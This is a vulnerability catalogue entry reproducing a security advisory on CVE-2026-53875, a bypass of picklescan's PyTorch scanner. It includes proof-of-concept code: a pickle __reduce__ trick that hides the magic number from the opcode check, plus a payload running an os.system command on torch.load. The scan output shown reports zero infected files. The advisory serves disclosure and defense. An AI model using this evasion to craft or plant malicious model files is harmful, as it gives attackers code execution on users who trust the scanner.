Browse / Unsafe Model Loading and Supply Chain / CVE-2026-53875
Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER
- Class
- Unsafe Model Loading and Supply Chain (filed by a model that read the advisory)
- Technique
- Code and command execution
- Affected
- picklescan (PyPI)
- Gets past
- Safe model loader or scanner
- CVSS
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
- EPSS
- 0.6% chance of exploitation in 30 days
How it works, in short
A pickle payload calls eval through __reduce__ with a magic-number value the scanner's opcode check misses but the real torch loader still reads. (Our summary, written by a model. The source text is below.)
Details
Summary
This is a scanning bypass to scan_pytorch function in picklescan. As we can see in the implementation of get_magic_number() that uses pickletools.genops(data) to get the magic_number with the condition opcode.name includes INT or LONG, but the PyTorch's implemtation simply uses pickle_module.load() to get this magic_number. For this implementation difference, we then can embed the magic_code into the PyTorch file via dynamic eval on the \_\_reduce\_\_ trick, which can make the pickletools.genops(data) cannot get the magic_code in INT or LONG type, but the pickle_module.load() can still return the same magic_code, eading to a bypass.
PoC
#### Attack Step 1 we can edit the source code of the function \_legacy\_save() as follows:
class payload:
def __reduce__(self):
return (eval, ('MAGIC_NUMBER',))
pickle_module.dump(payload(), f, protocol=pickle_protocol)
Attack Step 2
with the modified version of PyTorch, we run the following PoC to generate the payload.pt:
import torch
class payload:
def __reduce__(self):
return (__import__('os').system, ('touch /tmp/hacked',))
torch.save(payload(), './payload.pt', _use_new_zipfile_serialization = False)
Picklescan result
ERROR: Invalid magic number for file /home/pzhou/bug-bunty/pytorch/PoC/payload.pt: None != 119547037146038801333356
----------- SCAN SUMMARY -----------
Scanned files: 0
Infected files: 0
Dangerous globals: 0
Victim Step
import torch
torch.load('./payload.pt', weights_only=False)
then you can find the illegal file /tmp/hacked created in your local system.
Impact
Craft malicious PyTorch payloads to bypass picklescan, then recall ACE/RCE.
References
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-97f8-7cmv-76j2
- https://nvd.nist.gov/vuln/detail/CVE-2026-53875
- https://github.com/mmaitre314/picklescan/commit/134179474539648ba7dee1317959529fbd0e7f89
- https://github.com/mmaitre314/picklescan/commit/2a8383cfeb4158567f9770d86597300c9e508d0f
- https://github.com/mmaitre314/picklescan/commit/b9997634683a4f4bd0c7e3701e7ce7e90fe70e8c
- https://github.com/mmaitre314/picklescan
- https://www.vulncheck.com/advisories/picklescan-scanning-bypass-via-dynamic-eval-in-scan-pytorch
Source: GitHub Advisory Database, used under CC BY 4.0.